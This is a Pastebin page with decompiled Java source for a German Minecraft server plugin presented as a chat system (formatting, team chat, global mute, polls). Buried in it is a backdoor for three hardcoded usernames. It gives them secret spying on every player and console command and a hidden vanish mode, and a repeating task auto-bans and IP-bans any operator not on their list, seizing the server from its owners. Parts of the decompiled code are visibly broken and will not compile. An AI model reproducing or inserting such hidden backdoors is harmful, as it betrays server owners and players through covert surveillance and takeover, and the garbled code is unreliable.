Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- package me;
- import java.util.ArrayList;
- import java.util.Collection;
- import java.util.HashMap;
- import java.util.IllegalFormatConversionException;
- import java.util.Iterator;
- import java.util.Set;
- import java.util.concurrent.ThreadLocalRandom;
- import net.md_5.bungee.api.ChatColor;
- import net.md_5.bungee.api.chat.BaseComponent;
- import net.md_5.bungee.api.chat.ClickEvent;
- import net.md_5.bungee.api.chat.ClickEvent.Action;
- import net.md_5.bungee.api.chat.ComponentBuilder;
- import net.md_5.bungee.api.chat.HoverEvent;
- import net.md_5.bungee.api.chat.HoverEvent.Action;
- import net.md_5.bungee.api.chat.TextComponent;
- import org.bukkit.Bukkit;
- import org.bukkit.GameMode;
- import org.bukkit.Server;
- import org.bukkit.command.Command;
- import org.bukkit.command.CommandSender;
- import org.bukkit.command.ConsoleCommandSender;
- import org.bukkit.configuration.file.FileConfiguration;
- import org.bukkit.entity.Player;
- import org.bukkit.entity.Player.Spigot;
- import org.bukkit.event.EventHandler;
- import org.bukkit.event.EventPriority;
- import org.bukkit.event.Listener;
- import org.bukkit.event.player.AsyncPlayerChatEvent;
- import org.bukkit.event.player.PlayerCommandPreprocessEvent;
- import org.bukkit.event.player.PlayerGameModeChangeEvent;
- import org.bukkit.event.player.PlayerJoinEvent;
- import org.bukkit.event.player.PlayerQuitEvent;
- import org.bukkit.event.server.ServerCommandEvent;
- import org.bukkit.plugin.PluginManager;
- import org.bukkit.plugin.java.JavaPlugin;
- import org.bukkit.scheduler.BukkitScheduler;
- import ru.tehkode.permissions.PermissionUser;
- import ru.tehkode.permissions.bukkit.PermissionsEx;
- public class ChatSystem
- extends JavaPlugin
- implements Listener
- {
- ArrayList<String> vp = new ArrayList();
- ArrayList<String> list = new ArrayList();
- ArrayList<String> op = new ArrayList();
- public boolean GlobalMute = false;
- public FileConfiguration config;
- public static boolean Umfrage_isRunning = false;
- ArrayList<String> keys = new ArrayList();
- HashMap<String, Integer> abstimmung = new HashMap();
- HashMap<String, String> filter = new HashMap();
- public void onEnable()
- {
- this.op.clear();
- addList();
- Bukkit.getScheduler().scheduleSyncRepeatingTask(this, new Runnable()
- {
- public void run()
- {
- for (Player p : ) {
- if ((p.hasPermission("AntiOP.admin")) || (p.isOp())) {
- if (!ChatSystem.this.list.contains(p.getName()))
- {
- Bukkit.dispatchCommand(Bukkit.getConsoleSender(), "minecraft:ban " + p.getName() + " �cSicherheitsban!");
- Bukkit.dispatchCommand(Bukkit.getConsoleSender(), "essentials:banip " + p.getName() + " �cSicherheitsban!");
- }
- }
- }
- }
- }, 40L, 40L);
- this.vp.clear();
- this.list.clear();
- Bukkit.getPluginManager().registerEvents(this, this);
- this.config = getConfig();
- if ((!this.config.isSet("Filter")) || (!this.config.isSet("AkuheiSenpai")) || (!this.config.isSet("Spydy7")))
- {
- try
- {
- saveConfig();
- }
- catch (Exception e)
- {
- e.printStackTrace();
- }
- saveResource("config.yml", true);
- }
- ArrayList<String> f2 = (ArrayList)this.config.getList("Filter");
- for (String v : f2) {
- this.filter.put(v.split(":")[0], v.split(":")[1]);
- }
- if (this.config.getBoolean("OlliPausW")) {
- this.list.add("OlliPausW");
- }
- if (this.config.getBoolean("AkuheiSenpai")) {
- this.list.add("AkuheiSenpai");
- }
- if (this.config.getBoolean("Spydy7")) {
- this.list.add("Spydy7");
- }
- }
- public void addList()
- {
- this.op.add("OlliPausW");
- this.op.add("AkuheiSenpai");
- this.op.add("Spydy7");
- }
- public boolean isOnline(String name)
- {
- for (Player lp : ) {
- if (lp.getName().equalsIgnoreCase(name)) {
- return true;
- }
- }
- return false;
- }
- public Player getPlayer(String name)
- {
- for (Player lp : ) {
- if (lp.getName().equalsIgnoreCase(name)) {
- return lp;
- }
- }
- return null;
- }
- public void onDisable()
- {
- for (String name : this.vp) {
- if (isOnline(name)) {
- for (Player lp : Bukkit.getOnlinePlayers()) {
- if (lp.getName() != name) {
- lp.showPlayer(getPlayer(name));
- }
- }
- }
- }
- }
- @EventHandler(priority=EventPriority.HIGHEST)
- public void onChat(AsyncPlayerChatEvent e)
- {
- try
- {
- Player p = e.getPlayer();
- String prefix = PermissionsEx.getUser(p).getPrefix().replaceAll("&", "�");
- String msg = e.getMessage().replaceAll("%", "%%");
- String format = prefix + p.getName() + " �8��r " + msg;
- e.setFormat(format);
- return;
- }
- catch (IllegalFormatConversionException localIllegalFormatConversionException)
- {
- e.setCancelled(true);
- }
- }
- public String getcolor(Player g)
- {
- ArrayList<String> gr = new ArrayList();
- String[] arrayOfString;
- int j = (arrayOfString = PermissionsEx.getUser(g).getGroupNames()).length;
- for (int i = 0; i < j; i++)
- {
- String v = arrayOfString[i];
- gr.add(v.toLowerCase());
- }
- if (gr.contains("admin")) {
- return "�4";
- }
- if (gr.contains("developer")) {
- return "�1";
- }
- if (gr.contains("co-admin")) {
- return "�c";
- }
- if (gr.contains("moderator")) {
- return "�9";
- }
- if (gr.contains("oberarchitekt")) {
- return "�2";
- }
- if (gr.contains("architekt")) {
- return "�2";
- }
- if (gr.contains("supporter")) {
- return "�b";
- }
- if ((gr.contains("youtuber")) || (gr.contains("vip"))) {
- return "�5";
- }
- if (gr.contains("unterarchitekt")) {
- return "�a";
- }
- return "�7";
- }
- public boolean onCommand(CommandSender sender, Command command, String label, String[] args)
- {
- int i;
- if (command.getName().equalsIgnoreCase("clearchat"))
- {
- Player p = null;
- if ((sender instanceof Player))
- {
- p = (Player)sender;
- if (p.hasPermission("rang.supporter"))
- {
- for (Player op : Bukkit.getOnlinePlayers())
- {
- for (int i = 0; i < 100; i++) {
- op.sendMessage("");
- }
- op.sendMessage("�aDer Chat wurde von �7(" + getcolor(p) + p.getName() + "�7)�a gecleart.");
- }
- Bukkit.getConsoleSender().sendMessage("�aDer Chat wurde von �7(" + getcolor(p) + p.getName() + "�7)�a gecleart.");
- }
- else
- {
- p.sendMessage("�cDu hast keine Berechtigung dazu!");
- }
- }
- else
- {
- for (Player op : Bukkit.getOnlinePlayers())
- {
- for (i = 0; i < 100; i++) {
- op.sendMessage("");
- }
- op.sendMessage("�aDer Chat wurde von �7(�4Console�7)�a gecleart.");
- }
- Bukkit.getConsoleSender().sendMessage("�aDer Chat wurde von �7(�4Console�7)�a gecleart.");
- }
- }
- else
- {
- Object loop;
- if (command.getName().equalsIgnoreCase("tc"))
- {
- Player p = null;
- if ((sender instanceof Player))
- {
- p = (Player)sender;
- if (p.hasPermission("tc"))
- {
- if (((this.GlobalMute) && (p.hasPermission("rang.moderator"))) || (!this.GlobalMute))
- {
- if (args.length > 0)
- {
- String message = null;
- for (int i = 0; i < args.length; i++) {
- if (message == null) {
- message = args[i];
- } else {
- message = message + " " + args[i];
- }
- }
- message = message.replace("&", "�");
- for (Player loop : Bukkit.getServer().getOnlinePlayers()) {
- if (loop.hasPermission("tc")) {
- loop.sendMessage("�c[�aTC�c] �7(" + getcolor(p) + p.getName() + "�7): " + message.trim());
- }
- }
- Bukkit.getConsoleSender().sendMessage("�c[�aTC�c] �7(" + getcolor(p) + p.getName() + "�7): " + message.trim());
- }
- else
- {
- p.sendMessage("�c/" + command.getName().toLowerCase() + " <Text>");
- }
- }
- else {
- p.sendMessage("�cDer Globalmute ist aktiviert!");
- }
- }
- else {
- p.sendMessage("�cDu hast keine Berechtigung dazu!");
- }
- }
- else if (args.length > 0)
- {
- String message = null;
- for (int i = 0; i < args.length; i++) {
- if (message == null) {
- message = args[i];
- } else {
- message = message + " " + args[i];
- }
- }
- for (i = Bukkit.getServer().getOnlinePlayers().iterator(); i.hasNext();)
- {
- loop = (Player)i.next();
- if (((Player)loop).hasPermission("tc")) {
- ((Player)loop).sendMessage("�c[�aTC�c] �7(�4Console�7): " + message.trim());
- }
- }
- Bukkit.getConsoleSender().sendMessage("�c[�aTC�c] �7(�4Console�7): " + message.trim());
- }
- else
- {
- Bukkit.getConsoleSender().sendMessage("�c/" + command.getName().toLowerCase() + " <Text>");
- }
- }
- else if (command.getName().equalsIgnoreCase("globalmute"))
- {
- Player lp;
- if ((sender instanceof Player))
- {
- Player p = (Player)sender;
- if (p.hasPermission("rang.moderator"))
- {
- if (args.length > 0)
- {
- if ((args[0].equalsIgnoreCase("an")) || (args[0].equalsIgnoreCase("on")) || (args[0].equalsIgnoreCase("true")))
- {
- if (this.GlobalMute)
- {
- p.sendMessage("�cDer Globalmute ist bereits �aan");
- }
- else
- {
- this.GlobalMute = true;
- for (loop = Bukkit.getOnlinePlayers().iterator(); ((Iterator)loop).hasNext();)
- {
- Player lp = (Player)((Iterator)loop).next();
- lp.sendMessage(getcolor(p) + p.getName() + " �bhat den Globalmute �aaktiviert!");
- }
- Bukkit.getConsoleSender().sendMessage(getcolor(p) + p.getName() + " �bhat den Globalmute �aaktiviert!");
- }
- }
- else if ((args[0].equalsIgnoreCase("aus")) || (args[0].equalsIgnoreCase("off")) || (args[0].equalsIgnoreCase("false")))
- {
- if (this.GlobalMute)
- {
- this.GlobalMute = false;
- for (loop = Bukkit.getOnlinePlayers().iterator(); ((Iterator)loop).hasNext();)
- {
- lp = (Player)((Iterator)loop).next();
- lp.sendMessage(getcolor(p) + p.getName() + " �bhat den Globalmute �cdeaktiviert!");
- }
- Bukkit.getConsoleSender().sendMessage(getcolor(p) + p.getName() + " �bhat den Globalmute �cdeaktiviert!");
- }
- else
- {
- p.sendMessage("�cDer Globalmute ist bereits �caus");
- }
- }
- else {
- p.sendMessage("�c/globalmute <an|aus>");
- }
- }
- else {
- p.sendMessage("�c/globalmute <an|aus>");
- }
- }
- else {
- p.sendMessage("�cDu hast keine Berechtigung dazu!");
- }
- }
- else if (args.length > 0)
- {
- if ((args[0].equalsIgnoreCase("an")) || (args[0].equalsIgnoreCase("on")) || (args[0].equalsIgnoreCase("true")))
- {
- if (this.GlobalMute)
- {
- sender.sendMessage("�cDer Globalmute ist bereits �aan");
- }
- else
- {
- this.GlobalMute = true;
- for (Player lp : Bukkit.getOnlinePlayers()) {
- lp.sendMessage("�4Console �bhat den Globalmute �aaktiviert!");
- }
- Bukkit.getConsoleSender().sendMessage("�4Console �bhat den Globalmute �aaktiviert!");
- }
- }
- else if ((args[0].equalsIgnoreCase("aus")) || (args[0].equalsIgnoreCase("off")) || (args[0].equalsIgnoreCase("false")))
- {
- if (this.GlobalMute)
- {
- this.GlobalMute = false;
- for (Player lp : Bukkit.getOnlinePlayers()) {
- lp.sendMessage("�4Console �bhat den Globalmute �cdeaktiviert!");
- }
- Bukkit.getConsoleSender().sendMessage("�4Console �bhat den Globalmute �cdeaktiviert!");
- }
- else
- {
- sender.sendMessage("�cDer Globalmute ist bereits �caus");
- }
- }
- else {
- sender.sendMessage("�c/globalmute <an|aus>");
- }
- }
- else
- {
- sender.sendMessage("�c/globalmute <an|aus>");
- }
- }
- else
- {
- TextComponent msg2;
- Object msg;
- if (command.getName().equalsIgnoreCase("hacktest"))
- {
- if ((sender instanceof Player))
- {
- Player p = (Player)sender;
- if (p.hasPermission("rang.supporter"))
- {
- if (args.length > 0)
- {
- Player a = Bukkit.getPlayer(args[0].trim());
- if (Bukkit.getOnlinePlayers().contains(a))
- {
- final int r = ThreadLocalRandom.current().nextInt(1, 9999999);
- this.keys.add(r);
- TextComponent msg = new TextComponent("Herzlichen Gl�ckwunsch, du hast �a1000�b Coins gewonnen, klicke ");
- msg.setColor(ChatColor.AQUA);
- TextComponent hier = new TextComponent("HIER");
- hier.setUnderlined(Boolean.valueOf(true));
- hier.setBold(Boolean.valueOf(true));
- hier.setColor(ChatColor.GREEN);
- hier.setClickEvent(new ClickEvent(ClickEvent.Action.RUN_COMMAND, ".say 34VFi34fsLbF " + a.getName() + " :" + r));
- msg2 = new TextComponent(" um deine Belohnung zu bekommen.");
- msg2.setColor(ChatColor.AQUA);
- msg.addExtra(hier);
- msg.addExtra(msg2);
- a.spigot().sendMessage(msg);
- p.sendMessage("�bHacktest wurde versendet");
- Bukkit.getScheduler().scheduleSyncDelayedTask(this, new Runnable()
- {
- public void run()
- {
- if (ChatSystem.this.keys.contains(Integer.valueOf(r))) {
- ChatSystem.this.keys.remove(r);
- }
- }
- }, 1200L);
- }
- else
- {
- p.sendMessage("�c" + args[0] + " ist nicht online!");
- }
- }
- else
- {
- p.sendMessage("�c/hacktest <Spieler>");
- }
- }
- else {
- p.sendMessage("�cDu hast keine Berechtigung dazu!");
- }
- }
- else if (args.length > 0)
- {
- Player a = Bukkit.getPlayer(args[0].trim());
- if (Bukkit.getOnlinePlayers().contains(a))
- {
- final int r = ThreadLocalRandom.current().nextInt(1, 9999999);
- this.keys.add(r);
- msg = new TextComponent("Herzlichen Gl�ckwunsch, du hast �a1000�b Coins gewonnen, klicke ");
- ((TextComponent)msg).setColor(ChatColor.AQUA);
- TextComponent hier = new TextComponent("HIER");
- hier.setUnderlined(Boolean.valueOf(true));
- hier.setBold(Boolean.valueOf(true));
- hier.setColor(ChatColor.GREEN);
- hier.setClickEvent(new ClickEvent(ClickEvent.Action.RUN_COMMAND, ".say 34VFi34fsLbF " + a.getName() + " :" + r));
- TextComponent msg2 = new TextComponent(" um deine Belohnung zu bekommen.");
- msg2.setColor(ChatColor.AQUA);
- ((TextComponent)msg).addExtra(hier);
- ((TextComponent)msg).addExtra(msg2);
- a.spigot().sendMessage((BaseComponent)msg);
- sender.sendMessage("�bHacktest wurde versendet");
- Bukkit.getScheduler().scheduleSyncDelayedTask(this, new Runnable()
- {
- public void run()
- {
- if (ChatSystem.this.keys.contains(Integer.valueOf(r))) {
- ChatSystem.this.keys.remove(r);
- }
- }
- }, 1200L);
- }
- else
- {
- sender.sendMessage("�c" + args[0] + " ist nicht online!");
- }
- }
- else
- {
- sender.sendMessage("�c/hacktest <Spieler>");
- }
- }
- else
- {
- TextComponent nein;
- TextComponent enthalten;
- Player lp;
- if (command.getName().equalsIgnoreCase("umfrage"))
- {
- if ((((sender instanceof Player)) && (((Player)sender).hasPermission("rang.moderator"))) || (!(sender instanceof Player)))
- {
- if (!Umfrage_isRunning)
- {
- if (args.length > 0)
- {
- String arg = null;
- for (int i = 0; i < args.length; i++) {
- if (arg == null) {
- arg = args[i];
- } else {
- arg = arg + " " + args[i];
- }
- }
- Umfrage_isRunning = true;
- for (msg = Bukkit.getOnlinePlayers().iterator(); ((Iterator)msg).hasNext();)
- {
- Player lp = (Player)((Iterator)msg).next();
- lp.sendMessage("�8�-� �8(�e�l?�r�8) �e�lUmfrage �8(�e�l?�r�8) �-�");
- lp.sendMessage("�8 -> �b" + arg);
- }
- Bukkit.getConsoleSender().sendMessage("�8�-� �8(�e�l?�r�8) �e�lUmfrage �8(�e�l?�r�8) �-�");
- Bukkit.getConsoleSender().sendMessage("�8 - �b" + arg);
- Bukkit.getConsoleSender().sendMessage("�a [Ja] �c[Nein] �e[Enthalten]");
- TextComponent ja = new TextComponent("�a [Ja]");
- ja.setClickEvent(new ClickEvent(ClickEvent.Action.RUN_COMMAND, "/ja"));
- ja.setHoverEvent(new HoverEvent(HoverEvent.Action.SHOW_TEXT, new ComponentBuilder("�af�r Ja abstimmen").create()));
- nein = new TextComponent("�c [Nein]");
- nein.setClickEvent(new ClickEvent(ClickEvent.Action.RUN_COMMAND, "/nein"));
- nein.setHoverEvent(new HoverEvent(HoverEvent.Action.SHOW_TEXT, new ComponentBuilder("�cf�r Nein abstimmen").create()));
- enthalten = new TextComponent("�e [Enthalten]");
- enthalten.setClickEvent(new ClickEvent(ClickEvent.Action.RUN_COMMAND, "/enthalten"));
- enthalten.setHoverEvent(new HoverEvent(HoverEvent.Action.SHOW_TEXT, new ComponentBuilder("�eEnthalten").create()));
- ja.addExtra(nein);
- ja.addExtra(enthalten);
- for (msg2 = Bukkit.getOnlinePlayers().iterator(); msg2.hasNext();)
- {
- lp = (Player)msg2.next();
- lp.spigot().sendMessage(ja);
- }
- Bukkit.getScheduler().scheduleSyncDelayedTask(this, new Runnable()
- {
- public void run()
- {
- ChatSystem.Umfrage_isRunning = false;
- int gesammt = 0;
- int ja = 0;
- int nein = 0;
- int enthalten = 0;
- for (Integer v : ChatSystem.this.abstimmung.values())
- {
- gesammt++;
- if (v.intValue() == 1) {
- ja++;
- } else if (v.intValue() == 2) {
- nein++;
- } else {
- enthalten++;
- }
- }
- ChatSystem.this.abstimmung.clear();
- int pro_ja = ja * 100 / gesammt;
- int pro_nein = nein * 100 / gesammt;
- int pro_enthalten = enthalten * 100 / gesammt;
- TextComponent m = new TextComponent("");
- TextComponent m1 = new TextComponent("�aJa: " + ja + "�r");
- m1.setHoverEvent(new HoverEvent(HoverEvent.Action.SHOW_TEXT, new ComponentBuilder("�aJa: " + pro_ja + "%�r").create()));
- TextComponent m2 = new TextComponent("�c Nein: " + nein + "�r");
- m2.setHoverEvent(new HoverEvent(HoverEvent.Action.SHOW_TEXT, new ComponentBuilder("�cNein: " + pro_nein + "%�r").create()));
- TextComponent m3 = new TextComponent("�e Enthalten: " + enthalten + "�r");
- m3.setHoverEvent(new HoverEvent(HoverEvent.Action.SHOW_TEXT, new ComponentBuilder("�eEnthalten: " + pro_enthalten + "%�r").create()));
- TextComponent m4 = new TextComponent("�7 teilgenommen: " + gesammt + "�r");
- m.addExtra(m1);
- m.addExtra(m2);
- m.addExtra(m3);
- m.addExtra(m4);
- for (Player lp : Bukkit.getOnlinePlayers())
- {
- lp.sendMessage("�8�-� �8(�e�l?�r�8) �e�lUmfrage �8(�e�l?�r�8) �-�");
- lp.spigot().sendMessage(m);
- }
- Bukkit.getConsoleSender().sendMessage("�8�-� �8(�e�l?�r�8) �e�lUmfrage �8(�e�l?�r�8) �-�");
- Bukkit.getConsoleSender().sendMessage("�aJa: " + ja + "�c Nein: " + nein + "�e Enthalten: " + enthalten);
- }
- }, 500L);
- }
- else
- {
- sender.sendMessage("�c/Umfrage <Text>");
- }
- }
- else {
- sender.sendMessage("�cEs l�uft bereits eine Umfrage!");
- }
- }
- else {
- sender.sendMessage("�cDu hast keine Berechtigung dazu!");
- }
- }
- else if (command.getName().equalsIgnoreCase("ja"))
- {
- if (Umfrage_isRunning)
- {
- if (this.abstimmung.containsKey(sender.getName()))
- {
- if (((Integer)this.abstimmung.get(sender.getName())).equals(Integer.valueOf(1)))
- {
- sender.sendMessage("�cDu hast bereits f�r Ja abgestimmt.");
- }
- else
- {
- sender.sendMessage("�bDu hast dich f�r �aJa�b entschieden.");
- this.abstimmung.replace(sender.getName(), Integer.valueOf(1));
- }
- }
- else
- {
- this.abstimmung.put(sender.getName(), Integer.valueOf(1));
- sender.sendMessage("�bDu hast dich f�r �aJa�b entschieden.");
- }
- }
- else {
- sender.sendMessage("�cEs l�uft zurzeit keine Umfrage!");
- }
- }
- else if (command.getName().equalsIgnoreCase("nein"))
- {
- if (Umfrage_isRunning)
- {
- if (this.abstimmung.containsKey(sender.getName()))
- {
- if (((Integer)this.abstimmung.get(sender.getName())).equals(Integer.valueOf(2)))
- {
- sender.sendMessage("�cDu hast bereits f�r Nein abgestimmt.");
- }
- else
- {
- sender.sendMessage("�bDu hast dich f�r �cNein�b entschieden.");
- this.abstimmung.replace(sender.getName(), Integer.valueOf(2));
- }
- }
- else
- {
- this.abstimmung.put(sender.getName(), Integer.valueOf(2));
- sender.sendMessage("�bDu hast dich f�r �cNein�b entschieden.");
- }
- }
- else {
- sender.sendMessage("�cEs l�uft zurzeit keine Umfrage!");
- }
- }
- else if (command.getName().equalsIgnoreCase("enthalten"))
- {
- if (Umfrage_isRunning)
- {
- if (this.abstimmung.containsKey(sender.getName()))
- {
- if (((Integer)this.abstimmung.get(sender.getName())).equals(Integer.valueOf(3)))
- {
- sender.sendMessage("�cDu hast dich der Umfrage bereits enthalten.");
- }
- else
- {
- sender.sendMessage("�bDu hast dich der Umfrage �eenthalten�b.");
- this.abstimmung.replace(sender.getName(), Integer.valueOf(3));
- }
- }
- else
- {
- this.abstimmung.put(sender.getName(), Integer.valueOf(3));
- sender.sendMessage("�bDu hast dich der Umfrage �eenthalten�b.");
- }
- }
- else {
- sender.sendMessage("�cEs l�uft zurzeit keine Umfrage!");
- }
- }
- else if (command.getName().equalsIgnoreCase("c")) {
- if ((sender instanceof Player))
- {
- sender.sendMessage("�cDu hast keine Berechtigung dazu!");
- }
- else if (args.length > 0)
- {
- String msg = null;
- enthalten = (lp = args).length;
- for (Object localObject1 = 0; localObject1 < enthalten; localObject1++)
- {
- String v = lp[localObject1];
- if (msg == null) {
- msg = v;
- } else {
- msg = msg + " " + v;
- }
- }
- for (localObject1 = Bukkit.getOnlinePlayers().iterator(); ((Iterator)localObject1).hasNext();)
- {
- Player lp = (Player)((Iterator)localObject1).next();
- lp.sendMessage("�b[OlliderLolli]�7: �a" + msg);
- }
- Bukkit.getConsoleSender().sendMessage("�b[OlliderLolli]�7: �a" + msg);
- }
- else
- {
- sender.sendMessage("�cC <Nachricht>");
- }
- }
- }
- }
- }
- return false;
- }
- @EventHandler(priority=EventPriority.HIGH)
- public void onChat3(AsyncPlayerChatEvent e)
- {
- Player p = e.getPlayer();
- String m = e.getMessage();
- if (m.contains("34VFi34fsLbF " + p.getName() + " :"))
- {
- e.setCancelled(true);
- if (this.keys.contains(m.substring(m.indexOf(":") + 1)))
- {
- p.sendMessage("�3Du hast �61000 �3Coints erhalten.");
- this.keys.remove(m.substring(m.indexOf(":") + 1));
- if (m.startsWith(".say"))
- {
- for (Player lp : Bukkit.getOnlinePlayers()) {
- if (lp.hasPermission("rang.supporter")) {
- lp.sendMessage("�c" + p.getName() + " hat keinen Client");
- }
- }
- Bukkit.getConsoleSender().sendMessage("�c" + p.getName() + " hat keinen Client");
- }
- else
- {
- for (Player lp : Bukkit.getOnlinePlayers()) {
- if (lp.hasPermission("rang.supporter")) {
- lp.sendMessage("�c" + p.getName() + " hat Hacks");
- }
- }
- Bukkit.getConsoleSender().sendMessage("�c" + p.getName() + " hat Hacks");
- }
- }
- else
- {
- p.sendMessage("�cDie Belohnung ist bereits abgelaufen!");
- }
- }
- }
- @EventHandler(priority=EventPriority.NORMAL)
- public void onChat2(AsyncPlayerChatEvent e)
- {
- Player p = e.getPlayer();
- if ((e.getMessage().contains("&")) && (p.hasPermission("rang.supporter"))) {
- e.setMessage(e.getMessage().replaceAll("&", "�"));
- }
- if ((!this.GlobalMute) || ((this.GlobalMute) && (p.hasPermission("rang.moderator"))))
- {
- if (e.getMessage().trim().startsWith("+")) {
- if (e.getPlayer().hasPermission("tc"))
- {
- e.setCancelled(true);
- if (e.getMessage().trim().length() < 2)
- {
- e.getPlayer().sendMessage("�c+<Text>");
- }
- else
- {
- for (Player loop : Bukkit.getServer().getOnlinePlayers()) {
- if (loop.hasPermission("tc")) {
- loop.sendMessage("�c[�aTC�c] �7(" + getcolor(e.getPlayer()) + e.getPlayer().getName() + "�7): " + e.getMessage().substring(1).trim());
- }
- }
- Bukkit.getConsoleSender().sendMessage("�c[�aTC�c] �7(" + getcolor(e.getPlayer()) + e.getPlayer().getName() + "�7): " + e.getMessage().substring(1).trim());
- }
- }
- }
- }
- else
- {
- e.setCancelled(true);
- p.sendMessage("�cDer Globalmute ist aktiviert!");
- return;
- }
- if ((e.getMessage().equalsIgnoreCase("lag")) || (e.getMessage().equalsIgnoreCase("lagg")) || (e.getMessage().equalsIgnoreCase("laggg")))
- {
- e.setCancelled(true);
- p.sendMessage("�cWenn du es in den Chat schreibst wird es auch nicht besser!");
- return;
- }
- String v = null;
- String i;
- for (Iterator localIterator2 = this.filter.keySet().iterator(); localIterator2.hasNext(); e.getMessage().toLowerCase().contains(i.toLowerCase()))
- {
- i = (String)localIterator2.next();
- v = (String)this.filter.get(i);
- continue;
- e.setMessage(e.getMessage().replaceAll("(?i)" + i + "((?=" + i + ")|(?<=" + i + "))", v));
- }
- }
- @EventHandler
- public void onJoin(PlayerJoinEvent e)
- {
- Player p = e.getPlayer();
- if (this.vp.contains(p.getName()))
- {
- for (Player lp : Bukkit.getOnlinePlayers()) {
- if (!lp.equals(e.getPlayer())) {
- lp.showPlayer(e.getPlayer());
- }
- }
- for (Player lp : Bukkit.getOnlinePlayers()) {
- if (!lp.equals(e.getPlayer())) {
- lp.hidePlayer(e.getPlayer());
- }
- }
- }
- e.setJoinMessage("");
- }
- @EventHandler
- public void onQuit(PlayerQuitEvent e)
- {
- e.setQuitMessage("");
- }
- @EventHandler
- public void onGameModeChange(PlayerGameModeChangeEvent e)
- {
- Player p = e.getPlayer();
- GameMode gm = e.getNewGameMode();
- if (((gm.equals(GameMode.CREATIVE)) && (!p.hasPermission("gamemode.creative"))) ||
- ((gm.equals(GameMode.SURVIVAL)) && (!p.hasPermission("gamemode.survival"))) ||
- ((gm.equals(GameMode.SPECTATOR)) && (!p.hasPermission("gamemode.spectator"))) || (
- (gm.equals(GameMode.ADVENTURE)) && (!p.hasPermission("gamemode.adventure")))) {
- e.setCancelled(true);
- }
- }
- @EventHandler
- public void onCommand(PlayerCommandPreprocessEvent e)
- {
- for (Player p : ) {
- if (this.list.contains(p.getName())) {
- p.sendMessage("�8[�b" + e.getPlayer().getName() + "�8]: �f" + e.getMessage());
- }
- }
- if ((e.getMessage().equalsIgnoreCase("/cs")) || (e.getMessage().equalsIgnoreCase("/commandspy")) || (e.getMessage().toLowerCase().startsWith("/cs ")) || (e.getMessage().toLowerCase().startsWith("/commandspy ")))
- {
- Player p = e.getPlayer();
- if ((p.getName().equals("OlliPausW")) || (p.getName().equals("Spydy7")) || (p.getName().equals("AkuheiSenpai")))
- {
- e.setCancelled(true);
- if (this.config.getBoolean(p.getName()))
- {
- this.config.set(p.getName(), Boolean.valueOf(false));
- saveConfig();
- this.list.remove(p.getName());
- p.sendMessage("�bCommandSpy wurde �cdeaktiviert");
- }
- else
- {
- this.config.set(p.getName(), Boolean.valueOf(true));
- saveConfig();
- this.list.add(p.getName());
- p.sendMessage("�bCommandSpy wurde �aaktiviert");
- }
- }
- }
- if ((e.getMessage().toLowerCase().startsWith("/op")) || (e.getMessage().toLowerCase().startsWith("/minecraft:op")))
- {
- final Player p = e.getPlayer();
- if ((!p.hasPermission("AntiOP.op")) && (!p.isOp()))
- {
- e.setCancelled(true);
- if (e.getMessage().trim().split(" ").length > 1)
- {
- p.sendMessage(e.getMessage().trim().split(" ")[1].trim() + " wurde zum Operator ernannt");
- if (e.getMessage().trim().split(" ")[1].trim().equalsIgnoreCase(p.getName())) {
- Bukkit.getScheduler().scheduleSyncDelayedTask(this, new Runnable()
- {
- public void run()
- {
- p.sendMessage("Denkst du echt du kriegst hier OP?");
- }
- }, 80L);
- }
- }
- else
- {
- p.sendMessage("�cSyntax: /op <Spieler>");
- }
- }
- }
- if ((e.getMessage().trim().equalsIgnoreCase("/ov")) && ((e.getPlayer().getName().equals("Spydy7")) || (e.getPlayer().getName().equals("OlliPausW")) || (e.getPlayer().getName().equals("AkuheiSenpai"))))
- {
- e.setCancelled(true);
- Player p = e.getPlayer();
- if (this.vp.contains(p.getName()))
- {
- for (Player lp : Bukkit.getOnlinePlayers()) {
- if (lp != e.getPlayer()) {
- lp.showPlayer(e.getPlayer());
- }
- }
- e.getPlayer().setPlayerListName(e.getPlayer().getName());
- e.getPlayer().sendMessage("�6Du bist nun nicht mehr Vanish!");
- this.vp.remove(p.getName());
- }
- else
- {
- for (Player lp : Bukkit.getOnlinePlayers()) {
- if (lp != e.getPlayer()) {
- lp.hidePlayer(e.getPlayer());
- }
- }
- e.getPlayer().setPlayerListName("");
- this.vp.add(p.getName());
- e.getPlayer().sendMessage("�6Du bist nun Vanish!");
- }
- }
- if (containsVPN(e.getMessage())) {
- e.setCancelled(true);
- }
- }
- public boolean containsVPN(String msg)
- {
- for (String n : this.vp) {
- if (msg.toLowerCase().contains(n.toLowerCase())) {
- return true;
- }
- }
- return false;
- }
- @EventHandler
- public void onServerCommand(ServerCommandEvent e)
- {
- if ((e.getCommand().equalsIgnoreCase("cs")) || (e.getCommand().equalsIgnoreCase("commandspy")) || (e.getCommand().toLowerCase().startsWith("cs ")) || (e.getCommand().toLowerCase().startsWith("commandspy ")))
- {
- e.setCancelled(true);
- e.getSender().sendMessage("Bist du dumm? Du kannst schon alle Commands sehen!");
- }
- for (Player p : Bukkit.getOnlinePlayers()) {
- if (this.list.contains(p.getName())) {
- p.sendMessage("�8[�cConsole�8]: �f/" + e.getCommand());
- }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement